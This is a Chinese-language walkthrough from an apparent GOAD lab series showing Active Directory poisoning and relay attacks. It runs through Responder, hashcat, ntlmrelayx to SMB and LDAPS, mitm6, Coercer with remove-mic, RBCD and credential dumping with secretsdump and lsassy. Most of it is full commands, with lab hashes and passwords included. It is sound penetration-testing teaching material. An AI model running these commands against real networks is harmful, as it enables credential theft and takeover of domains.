如果你在上一篇 《GOAD 域渗透教程 2:域用户枚举、Kerberoasting、BloodHound 与 DNS 信息收集》 里已经拿到了有效凭据,这一篇就继续进入投毒和中继。重点会演示 Responder 收集 NetNTLM、NTLM Relay 打 SMB、mitm6 / Inveigh 中继到 LDAP,以及强制认证后的 relay 利用。

这篇文章会学到什么

  • 如何使用 Responder 在 GOAD 里捕获 NetNTLMv2 哈希
  • 如何把拿到的认证流量中继到 SMB 与 LDAP
  • 如何通过 mitm6 / Inveigh 扩大中继面并获取更高权限
  • 如何在中继成功后通过 SOCKS、共享枚举和命令执行继续扩大战果

Responder 投毒

当我们在一个内网里还没有任何凭据时,Responder 基本是必备工具。在一个正常的域环境里(不考虑各种加固和限制),它通常能带来:

  • 有效的域用户名
  • NetNTLM 哈希
  • 可以拿去做中继的认证流量
  • 以及一堆后续可利用的信息

根据 GOAD 作者 Mayfly 的说法,GOAD 里有两个机器人程序会持续模拟 LLMNR、mDNS 和 NBT-NS 请求。其中一个用户密码强度较低,但没有管理员权限;另一个用户有管理员权限,但密码很强。

我们先在 Kali 攻击机上启动 Responder,看看能不能先收一点东西。

1
sudo responder -I eth0

等几分钟后,就可以拿到 NORTH\eddard.stark 的 NetNTLMv2 哈希:

Responder 捕获 eddard.stark 的 NetNTLMv2 哈希

因为机器人请求的是 Brave,而正确的机器名实际上是 Braave,DNS 无法解析后,Windows 会退回到广播查询。Responder 响应了这类查询,于是就拿到了用户连接。

再等几分钟,我们又收到了 eddard.stark 的连接:

Responder 再次捕获域用户认证

NetNTLM 哈希不能直接做哈希传递,但可以拿去离线破解。先把抓到的两条哈希保存成 responder.hashes

1
2
robb.stark::NORTH:fca8d2081c5b71bf:2EA257151FB713C887603E116426D61F:010100000000000080D58875AE8DDC01A247999BBB6EBA3D0000000002000800300053003300560001001E00570049004E002D004200440046004B004E0053005800340052005100480004003400570049004E002D004200440046004B004E005300580034005200510048002E0030005300330056002E004C004F00430041004C000300140030005300330056002E004C004F00430041004C000500140030005300330056002E004C004F00430041004C000700080080D58875AE8DDC010600040002000000080030003000000000000000000000000030000036E0FE45B3C6BAC3E8EF83380F40A254675D9659665C87AD87E5FF71D45214450A001000000000000000000000000000000000000900160063006900660073002F0042007200610076006F0073000000000000000000
eddard.stark::NORTH:f7122c456244cda5:A99E8B609BC856E67DB6D865D05957FB:010100000000000080D58875AE8DDC01F842BE9FEDA89C410000000002000800300053003300560001001E00570049004E002D004200440046004B004E0053005800340052005100480004003400570049004E002D004200440046004B004E005300580034005200510048002E0030005300330056002E004C004F00430041004C000300140030005300330056002E004C004F00430041004C000500140030005300330056002E004C004F00430041004C000700080080D58875AE8DDC010600040002000000080030003000000000000000000000000030000036E0FE45B3C6BAC3E8EF83380F40A254675D9659665C87AD87E5FF71D45214450A001000000000000000000000000000000000000900140063006900660073002F004D006500720065006E000000000000000000

然后用 hashcat 开始爆破:

1
hashcat -m 5600 --force -a 0 responder.hashes /usr/share/wordlists/rockyou.txt

使用 hashcat 破解 NetNTLMv2 哈希

很快就能拿到 robb.stark 的密码:sexywolfy

eddard.stark 的密码强度太高,靠这条路子暂时跑不出来,所以接下来就该上中继了。

NTLM 中继

未签名的 SMB

先找出没有启用签名的 SMB 目标。

1
nxc smb 192.168.56.0/24 --gen-relay-list relay.txt

扫描未启用 SMB Signing 的主机

好了,现在我们有了 signing:False SMB 计算机列表,我们可以开始尝试向它们转发 NTLM 身份验证。

先把 Responder 的 SMB 监听和 HTTP 监听关掉,在 /etc/responder/Responder.conf 里把这两项都改成 Off

Responder 关闭 SMB 和 HTTP 服务配置

然后启动 ntlmrelayx

1
impacket-ntlmrelayx -tf relay.txt -of netntlm -smb2support -socks --keep-relaying

随后重新打开 Responder:

1
sudo responder -I eth0

等几分钟后收到请求,进入 socks 交互界面,可以看到 eddard.stark192.168.56.22 上是管理员。

ntlmrelayx 成功中继到 SMB

现在我们可以利用这个中继以管理员身份访问计算机。

利用 SOCKS 中继后的权限

secretsdump

刚刚启动的 ntlmrelayx 默认会把 SOCKS 代理开在本机 1080 端口。

1
proxychains4 impacket-secretsdump -no-pass 'NORTH'/'EDDARD.STARK'@'192.168.56.22'

使用 secretsdump 导出本地用户哈希

  • sam 数据库包含本地帐户信息。我们将忽略 vagrant,因为它是设置实验环境的默认用户。
  • 这里的重要信息是本地管理员用户的 NT 哈希值。
  • 我们还获取了最近连接用户的 LSA 缓存(Windows 默认保留最近 10 个用户的缓存),即使域控制器无法访问,这也能帮助我们连接到服务器。但是,这些缓存的凭据可以通过 hashcat 离线破解(速度非常慢)。
  • 最后,我们还获得了计算机帐户的哈希值。(有时,加入域的计算机可能无法获取任何有用的域帐户信息,甚至完全没有相关信息,但如果您获得了此哈希值,则说明您已拥有该域的帐户!)

lsassy

SAM 里没有域用户的明细信息,而登录过的域用户通常会留在 lsass.exe 进程里,所以可以借助 lsassy 把它们捞出来。

Lsassy 允许您远程转储 lsass 文件(比使用 procdump、下载 lsass 转储文件并在本地使用 pypykatz 或 mimikatz 方便得多),它为您完成所有繁琐的操作,例如转储和读取 lsass 内容(它还只转储 lsass 转储中的有用部分,从而优化传输时间)。(lsassy 也以 nxc 模块的形式存在)

1
proxychains4 lsassy --no-pass -d 'NORTH' -u 'EDDARD.STARK' '192.168.56.22'

通过 lsassy 读取目标凭据

smbclient

上面这两种方案都比较“响”,有机会触发 EDR 告警;只是这里的 Microsoft Defender 没怎么拦。

单纯用 smbclient 看文件,相对就安静很多。

1
proxychains4 impacket-smbclient -no-pass 'NORTH'/'EDDARD.STARK'@'192.168.56.22'

通过 smbclient 访问共享

smbexec 命令执行

如果你还想进一步执行命令,由于这里走的是 SOCKS 代理,基本只能用 smbexecatexecwmiexecpsexecdcomexec 都不太行。

1
proxychains4 impacket-smbexec -no-pass 'NORTH'/'EDDARD.STARK'@'192.168.56.22'

使用 smbexec 执行命令

Mitm6 / Inveigh + ntlmrelayx 到 LDAP

另一条比较有效的路子,是响应 DHCPv6 请求,把自己的机器塞成默认 DNS。Windows 默认优先走 IPv6,所以可以借助 MITM6Inveigh 劫持并篡改 DHCPv6 响应,把后续查询都引到我们这里。

  • 我们将启动中间人攻击(mitm6)来干扰 DHCPv6,并获取来自主机的 DNS 请求。
  • 顺便提一下,我注意到我们可以毒害域控制器,但之后域控制器并不在意,仍然使用它们的本地主机 DNS 服务器。
  • 所以我们必须对着服务器投毒
  • 在这个例子中,我们将对 Braavos 服务器进行恶意操作。我们将响应 wpad 查询,并将 HTTP 查询转发到 Meereen 上的 LDAPS,以添加一台具有委派访问权限的计算机。

先启动 ntlmrelayx

1
impacket-ntlmrelayx -6 -wh wpadfakeserver.essos.local -t ldaps://meereen.essos.local --delegate-access

再启动 mitm6

1
sudo mitm6 -i eth0 -d essos.local -d sevenkingdoms.local -d north.sevenkingdoms.local --debug -4 192.168.56.200

等待 WPAD HTTP 查询被转发到 LDAPS。(如果你不想等,可以直接重启虚拟机来加速触发。)

mitm6 投毒结果

mitm6 与 ntlmrelayx 联动中继到 LDAP

我们成功添加了一个机器账户 ZXDJDCKA$:fa6g^d8HtF6,vUN,并把 BRAAVOS$ 的委派权限挂给了它。后面就可以用这个账户去 getST,进一步拿到 BRAAVOS 这台机器的权限。

同样地,也可以把这条中继打到 LDAP 上,直接导出域信息(适合中继到的账户权限不够高的情况)。

1
impacket-ntlmrelayx -6 -wh wpadfakeserver.essos.local -t ldap://meereen.essos.local -l /home/kali/temp/

中继后导出域信息

LDAP 中继后写入委派或机器账户

强制认证后 relay 到 LDAP

我们还可以用多种方式(PetitPotam、PrinterBug、DFSCoerce)强制让 Meereen 这台 DC 主动连回我们的机器。为了少折腾不同 PoC,这里直接用一体化工具 Coercer

正如 hackndoThe Hacker Recipes 里解释的那样,如果不借助 CVE-2019-1040(也就是 remove-mic),普通的 SMB 连接是没法直接中继到 LDAP(S) 的。

  1. 启动中继,移除 MIC,目标打到 meereen.essos.local 的 LDAPS:
1
impacket-ntlmrelayx -t ldap://meereen.essos.local -smb2support --remove-mic --delegate-access
  1. braavos 上触发强制认证。(braavos 是较新的 Windows Server 2016,未授权 PetitPotam 在这里打不动。)
1
python3 Coercer.py coerce -u khal.drogo -d essos.local -p horse -t braavos.essos.local -l 192.168.56.200

强制认证触发请求

强制认证后 relay 到 LDAP

  1. 攻击成功后,我们拿到了 QVGNFSKR$:ShI(whoIy24c)bb,接下来就能利用 RBCD 去打 braavos
1
impacket-getST -spn HOST/BRAAVOS.ESSOS.LOCAL -impersonate Administrator -dc-ip 192.168.56.12 'ESSOS.LOCAL/QVGNFSKR$:ShI(whoIy24c)bb'

getST 获取服务票据

  1. 然后用这张票据直接导出凭据:
1
2
export KRB5CCNAME=Administrator@HOST_BRAAVOS.ESSOS.LOCAL@ESSOS.LOCAL.ccache
impacket-secretsdump -k -no-pass ESSOS.LOCAL/'Administrator'@braavos.essos.local

使用服务票据配合 secretsdump 导出哈希

类似的思路也可以套到最近很火的 CVE-2025-33073 去做 Relay 到 SMB,这里就不再展开了。